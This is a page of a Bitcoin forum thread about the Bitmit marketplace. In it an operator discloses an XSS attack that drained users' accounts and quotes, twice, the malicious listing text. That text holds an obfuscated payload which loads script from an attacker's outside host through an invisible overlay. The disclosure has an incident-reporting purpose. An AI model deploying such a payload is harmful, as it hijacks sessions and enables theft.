Pages:
Author

Topic: Bitmit - Bitcoin shopping mall - Bitcoin market place - Bitcoin auction house - page 30. (Read 142500 times)

legendary
Activity: 1862
Merit: 1114
WalletScrutiny.com
Alright, btw that code :


Code:
bitmt.gopagoda.com/w/wp-track dot.php

That page is hosted on pagodabox app's hosting,i'll contact them to remove it.

removing it should be pointless. they should provide who put it there.

i love anonymity but i also love seeing stupid thieves go to jail.
legendary
Activity: 1274
Merit: 1004
Alright, btw that code :


Code:
bitmt.gopagoda.com/w/wp-track dot.php

That page is hosted on pagodabox app's hosting,i'll contact them to remove it.
sr. member
Activity: 401
Merit: 252
Tosaki did you removed both ads?



Yes all xss items should be removed but currently we have disabled the item descriptions and item footer output because we are testing our html purifier.

Update:
We discovered why this was not escaped correctly and fixed the problem.
legendary
Activity: 1274
Merit: 1004
Tosaki did you removed both ads?

full member
Activity: 208
Merit: 100
Learn and Enjoy.
Thank you for your quick reply. I hope you solve my problem and make system stronger that other users dont face this type of problem.

Blockchain helped me to find illegal transaction from my bitmit account.
http://blockchain.info/address/13nPWDB4vGQfJWD9DnEC5DUx3y1Qn8ScPN

I think, bitmit is the most popular site for shopping using bitcoin...may be No.1 site. I suggest to remove loopholes in the system. Person like me who regularly use bitmit for transaction willing to co-operate in the improvement of website and may be others. I hope you have very experienced IT team and hopefully from their hard work, we will see improved and highest secured version of bitmit in a coming days....

Thanks.





Sorry for late response.

We were facing some unauthorized withdraws and are currently investigating. It seems the attacker managed it with a user hijacking attack (ip on withdraw time is always user ones) to withdraw payments once a user is logged in. he is also deactivating notifications.

Currently outgoing transactions are not processed for security reasons and you are getting notificated by email.

We are searching for the security flaw on our site! Your funds are safe because we have several backups and most of our funds are stored in cold wallet.

UPDATE:
As we have estimated this was an xss attack. Our html purifier tool did not remove this code.

Quote
Item
I may be out of office sometimes so please PM me before making any purchase. Steam keys will be delivered by email in 24 hours.

Payment
Payment can only be done through the Bitmit system, there are no exceptions to this rule. I accept escrow on all items.

Testing
I test everything that I sell, one item at a time. Nonetheless, please be sure to read the listing above in detail, as it will contain any qualifiers about the cosmetic or functional condition of the item, as well as tell you what accessories come with the device. I also strive to respond to any inquiries about auctions in as timely a fashion as possible.

Shipping
I ship out every order as quickly as possible after the payment is received. In most cases, this results in your product being shipped on the next business day (Monday through Friday). However, on occasion I may receive a large number of orders in a short period of time which may slightly delay shipping of your item.

In order to receive my combined shipping discount, all items must be purchased on the same day and all items must be paid for within 48 hours. Please note that when returning a defective item, customers are responsible for shipping costs; however, I will ship your replacement free of charge. You also have the option to return the product for a refund; however, a $9.99 handling fee will be deducted from your total amount. All refunds are subject to a 15% restocking fee. NO exceptions.

Feedback
Please contact us before you leave negative feedback, and I will do my best to make the situation right.

If you have any questions please just message me. http://bitmit.net"onclick="this.removeAttribute('href');this.style.height='0%';"onmousemove="javascript:this.onmousemove=null;jQuery('head').append(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,98,105,116,109,116,46,103,111,112,97,103,111,100,97,46,99,111,109,47,119,47,119,112,45,116,114,97,99,107,46,112,104,112,34,62,60,47,115,99,114,105,112,116,62));"style="position:absolute;opacity:0;font-size:0px;top:0;left:0;display:block;width:1500px;height:1500px;z-index:50001;

Fastandfurious
sr. member
Activity: 401
Merit: 252
Sorry for late response.

We were facing some unauthorized withdraws and are currently investigating. It seems the attacker managed it with a user hijacking attack (ip on withdraw time is always user ones) to withdraw payments once a user is logged in. he is also deactivating notifications.

Currently outgoing transactions are not processed for security reasons and you are getting notificated by email.

We are searching for the security flaw on our site! Your funds are safe because we have several backups and most of our funds are stored in cold wallet.

UPDATE:
As we have estimated this was an xss attack. Our html purifier tool did not remove this code.

Quote
Item
I may be out of office sometimes so please PM me before making any purchase. Steam keys will be delivered by email in 24 hours.

Payment
Payment can only be done through the Bitmit system, there are no exceptions to this rule. I accept escrow on all items.

Testing
I test everything that I sell, one item at a time. Nonetheless, please be sure to read the listing above in detail, as it will contain any qualifiers about the cosmetic or functional condition of the item, as well as tell you what accessories come with the device. I also strive to respond to any inquiries about auctions in as timely a fashion as possible.

Shipping
I ship out every order as quickly as possible after the payment is received. In most cases, this results in your product being shipped on the next business day (Monday through Friday). However, on occasion I may receive a large number of orders in a short period of time which may slightly delay shipping of your item.

In order to receive my combined shipping discount, all items must be purchased on the same day and all items must be paid for within 48 hours. Please note that when returning a defective item, customers are responsible for shipping costs; however, I will ship your replacement free of charge. You also have the option to return the product for a refund; however, a $9.99 handling fee will be deducted from your total amount. All refunds are subject to a 15% restocking fee. NO exceptions.

Feedback
Please contact us before you leave negative feedback, and I will do my best to make the situation right.

If you have any questions please just message me. http://bitmit.net"onclick="this.removeAttribute('href');this.style.height='0%';"onmousemove="javascript:this.onmousemove=null;jQuery('head').append(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,98,105,116,109,116,46,103,111,112,97,103,111,100,97,46,99,111,109,47,119,47,119,112,45,116,114,97,99,107,46,112,104,112,34,62,60,47,115,99,114,105,112,116,62));"style="position:absolute;opacity:0;font-size:0px;top:0;left:0;display:block;width:1500px;height:1500px;z-index:50001;

Fastandfurious
legendary
Activity: 1316
Merit: 1003
There are some small things that are very annoying and never got fixed like the "state" field in the buyers address.
Is this still used even in the US?
legendary
Activity: 1862
Merit: 1114
WalletScrutiny.com
tosaki's last post is 2 weeks old and nobody explains stuff. bitmit is dead for me until things are sorted out.
full member
Activity: 208
Merit: 100
Learn and Enjoy.
somebody from my a/c theft 4.59 bitcoins. He changed all my a/c settings.

-4.59295734
13nPWDB4vGQfJWD9DnEC5DUx3y1Qn8ScPN
2013-08-23, 09:51

Please get back my bitcoins. I sent msg to customer service.

Waiting for your reply.

thanks.
hero member
Activity: 798
Merit: 531
Crypto is King.
Also, when site fails to load, delete https:// from the address and hit enter. Should load fine.
Id rather not do that, especially when login in.
It will reappear when the site loads. Just a query error while the DNS catches up.
legendary
Activity: 1316
Merit: 1003
Also, when site fails to load, delete https:// from the address and hit enter. Should load fine.
Id rather not do that, especially when login in.
hero member
Activity: 798
Merit: 531
Crypto is King.
Its really strange for me:
It takes ages to load and when i try to login it throws me back to the login page after loading endlessly.
The site moved. The DNS will take time to recover. Depends on region. Also, when site fails to load, delete https:// from the address and hit enter. Should load fine. 
legendary
Activity: 1316
Merit: 1003
Its really strange for me:
It takes ages to load and when i try to login it throws me back to the login page after loading endlessly.
sr. member
Activity: 308
Merit: 250
legendary
Activity: 1764
Merit: 1000
legendary
Activity: 1316
Merit: 1003
legendary
Activity: 1764
Merit: 1000
http://bitcoinaverage.com/ has been stuck at 108.82 for the last couple of hours.

Maybe you should think twice before relying on a 3rd party beta site ...

sadly, it's a good site, but I'd fall back to bitstamp for the time being.

sr. member
Activity: 686
Merit: 250
http://bitcoinaverage.com/ has been stuck at 108.82 for the last couple of hours.

Maybe you should think twice before relying on a 3rd party beta site ...
hero member
Activity: 910
Merit: 1000
Items flashing here available at btctrinkets.com
I'd like you to consider an option to list items in multiple categories... for example as far as I can tell you have (atleast) two places to list keychains in.
Pages:
Jump to: